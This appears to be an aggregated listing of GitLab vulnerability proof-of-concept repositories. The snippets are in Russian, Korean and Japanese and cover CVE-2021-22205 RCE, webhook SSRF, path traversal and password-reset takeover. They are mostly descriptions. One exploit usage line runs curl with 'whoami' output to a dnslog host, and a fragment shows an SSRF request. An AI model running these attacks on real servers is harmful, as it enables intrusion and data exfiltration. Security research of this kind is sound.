CVE-2021-22205-gitlab

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых в анализатор файлов, что приводило к удалённому выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6...

CVE-2021-22205

CVE-2021-22205 Затронутые версии: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Использование root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Получение csrf-token: Через /users/signin получаем csrf-token, затем с помощью предыдущего CVE-2021-22205 poc формируе...

CVE-2021-22205

Воздействие уязвимости Обнаружена проблема в GitLab CE/EE, затрагивающая все версии, начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру, что приводило к удаленному выполнению команд. Продукт уязвимости Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei 템플릿 CVE-2026-19478 에 대한 비파괴적 Nuclei 탐지 템플릿입니다. 이 취약점은 GitLab GraphQL API의 인증되지 않은 임의 메서드 호출 결함으로, 심각도CVSS 9.4 등급이며 GitLab에서 2026년 8월 17일 에 패치했습니다. TL;DR GitLab의 GraphQL 스키마는 필드를 특정 최소 GitLab 버전으로 제한하는 @glintroducedversion: "X.Y.Z" 디렉티브를 지원합니다. 디렉티...

Review.CVE-2023-5612

CVE-2023-5612 – SSRF в GitLab через URL вебхуков PoC и анализ 📌 Обзор CVE CVE-ID: CVE-2023-5612 Серьёзность: Высокая базовая оценка CVSS: 8.1 Тип: Server-Side Request Forgery SSRF Компонент: Вебхуки GitLab CE/EE Затронутые версии: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888" ...

CVE-2021-22205

CVE-2021-22205 Описание - POC для CVE-2021-22205: Gitlab CE/EE RCE — POC && EXP для уязвимости неавторизованного удалённого выполнения кода - создано antx 2021-10-29. Подробности - В GitLab CE/EE обнаружена проблема, затрагивающая все версии, начиная с 11.9. GitLab некорректно проверял файлы...

CVE-2026-19478

CVE-2026-19478 GitLab GraphQL неаутентифицированное удаление проекта ★ CVE-2026-19478 GitLab GraphQL @glintroduced неаутентифицированный PoC произвольного вызова методов ★ https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b Обзор CVE-2026-19478 — это...

CVE-2021-22205

CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...

CVE-2023-2825

CVE-2023-2825 - GitLab CE/EE 16.0.0 임의 파일 읽기 경로 탐색 취약점 2023년 5월 23일, GitLab은 CECommunity Edition 및 EEEnterprise Edition 16.0.0에 영향을 미치는 치명적인 취약점인 CVE-2023-2825를 수정한 버전 16.0.1을 릴리스했습니다. 이 취약점은 인증되지 않은 사용자가 경로 탐색 버그를 통해 임의의 파일을 읽을 수 있게 합니다. HackerOne의 버그 바운티 프로그램을 통해 pwnie이 발견했습니다. 이 글을 작성하는 시점에 공개...

CVE-2023-2825

CVE-2023-2825 未認証 ディレクトリトラバーサルによりファイル読み取りが可能になります。 CVEの概要 GitLab CE/EE のバージョン 16.0.0 のみに影響する問題が発見されました。未認証の悪意のあるユーザーが、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合、パストラバーサルの脆弱性を利用してサーバー上の任意のファイルを読み取ることができます。 影響を受けるバージョン Gitlab Gitlab 16.0.0 コミュニティエディション Gitlab Gitlab 16.0.0 エンタープライズエディション 特記事項...

CVE-2021-22214

CVE-2021-22214 Описание - POC для CVE-2021-22214: неавторизованная SSRF-уязвимость Gitlab CI Lint API - создано antx 2021-11-01. Подробности - Когда включены запросы к внутренней сети для webhooks, уязвимость подделки запросов на стороне сервера SSRF в GitLab CE/EE, затрагивающая все версии,...

CVE-2022-2992

CVE-2022-2992 GitLab에서 GitHub 가져오기를 통한 인증된 원격 코드 실행. GitLab CE/EE의 11.10부터 15.1.6 이전의 모든 버전, 15.2부터 15.2.4 이전의 모든 버전, 15.3부터 15.3.2 이전의 모든 버전에 영향을 주는 취약점으로, 인증된 사용자가 GitHub에서 가져오기 API 엔드포인트를 통해 원격 코드 실행을 달성할 수 있습니다...

CVE-2021-22205

CVE-2021-22205 Из-за того, что GitLab неправильно проверяет файлы изображений, передаваемые парсеру, возникает выполнение команд. Злоумышленник может сконструировать вредоносный запрос и выполнить произвольные команды в целевой системе, что в итоге приводит к захвату сервера GitLab. Поскольку в...

CVE-2022-1162

CVE-2022-1162 Жестко заданный пароль был установлен для учетных записей, зарегистрированных с использованием провайдера OmniAuth например, OAuth, LDAP, SAML в GitLab CE/EE версий 14.7 до 14.7.7, 14.8 до 14.8.5 и 14.9 до 14.9.2, что позволяло злоумышленникам потенциально захватывать учетные записи...

CVE-2022-2992

CVE-2022-2992 Аутентифицированное удаленное выполнение команд в Gitlab через импорт из GitHub. Уязвимость в GitLab CE/EE, затрагивающая все версии с 11.10 до 15.1.6, все версии, начиная с 15.2 до 15.2.4, и все версии, начиная с 15.3 до 15.3.2, позволяет аутентифицированному пользователю добиться...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 Уязвимость была вызвана ошибкой в обработке проверки электронной почты при сбросе пароля в GitLab. Злоумышленник мог указать два адреса электронной почты в запросе на сброс пароля, и код сброса отправлялся на оба адреса. Это позволяло...

GitLab-CVE-2021-22205-

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии начиная с 11.9. GitLab не выполнял должную проверку файлов изображений, передаваемых в анализатор файлов, что приводило к удалённому выполнению команд. Затронутые версии Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

CVE-2021-22205

Влияние уязвимости В GitLab CE/EE обнаружена проблема, затрагивающая все версии начиная с 11.9. GitLab не выполнял надлежащую проверку файлов изображений, передаваемых парсеру файлов, что приводило к удалённому выполнению команд. Уязвимый продукт Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 Это программа на Python3, которая эксплуатирует аутентифицированную RCE-уязвимость GitLab, известную как CVE-2022-2884. ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Этот инструмент предназначен для специалистов по безопасности и AppSec для проведения оценок безопасности. Пожалуйста, используйт...

CVE-2021-4191-EXPLOIT

CVE-2021-4191 - GitLab 사용자 열거 GitLab은 지속적 통합, 이슈 추적, 코드 리뷰 등과 같은 통합 기능을 갖춘 Git 리포지토리 관리자를 제공하는 널리 사용되는 웹 기반 DevOps 수명 주기 도구입니다. GraphQL API는 사용자가 프로그래밍 방식으로 GitLab과 상호 작용하고 다양한 작업을 수행할 수 있게 해주는 강력한 인터페이스입니다. GitLab CVE-2021-4191 취약점은 특정 GitLab 버전의 GraphQL API 내 사용자 열거 과정의 감독 소홀로 인해 발생합니다. 가입이 제한된...